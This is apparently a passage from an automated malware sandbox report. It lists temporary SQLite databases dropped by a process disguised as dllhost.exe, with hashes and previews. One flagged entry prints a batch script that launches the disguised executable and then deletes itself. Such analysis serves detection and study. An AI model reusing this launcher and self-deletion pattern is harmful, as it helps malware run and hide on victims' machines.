                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\RrmUliPBZH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):5242880
                                                                                                                                      Entropy (8bit):0.037963276276857943
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
                                                                                                                                      MD5:C0FDF21AE11A6D1FA1201D502614B622
                                                                                                                                      SHA1:11724034A1CC915B061316A96E79E9DA6A00ADE8
                                                                                                                                      SHA-256:FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
                                                                                                                                      SHA-512:A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ...................&...................K..................................j.....-a>.~...|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Rs8DPOiDL8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\RyroOfX8Xr

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):5242880
                                                                                                                                      Entropy (8bit):0.037963276276857943
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
                                                                                                                                      MD5:C0FDF21AE11A6D1FA1201D502614B622
                                                                                                                                      SHA1:11724034A1CC915B061316A96E79E9DA6A00ADE8
                                                                                                                                      SHA-256:FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
                                                                                                                                      SHA-512:A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ...................&...................K..................................j.....-a>.~...|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\SVo1g1BEJF

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\SfOvcqQwIT

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\T8OuYljPZN

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\TLBSi30lhW

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\TT6aARtUIs

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\TwHorvjReO

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\UB7rCxxeuj

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\UaoEDBXj7k

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\UmC5Fw09H9

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\UyBeq6B1KH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\V2BVGwm9G7

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\V82mnLTBVa

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):165
                                                                                                                                      Entropy (8bit):5.135006580277946
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9m1aHF5pBM5NtACSBktKcKZG1t+kiE2J5xAI+CcnqpG:hCRLuVFOOr+DE1aH1BAXsKOZG1wkn23e
                                                                                                                                      MD5:5308E4EF36214C1D231A0CD99E5384F8
                                                                                                                                      SHA1:2F4F01011628DBD6FCAE383DE7C510366D54F5A8
                                                                                                                                      SHA-256:ABF0BB929CA34D51623E9A8CD184FF54E8FBD66B44D1E9FB309E6F7E63288AAE
                                                                                                                                      SHA-512:FEAFDBA2935C47DA3B4922B2B7919BA82639A67ADC3B5294BD117685C08FCBFB774AFE833AFA36857DED119AD0DF0C85902732F1E15F19F4B45486B3793C9128
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\Public\Libraries\dllhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\VE9VyBa20L.bat"

                                                                                                                                      C:\Users\user\AppData\Local\Temp\VHlvJTSw4c

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\VSohs0gp0g

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\VWp0KptxyM

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\VwsGknGXTM

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\WwV2i3mVdB

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
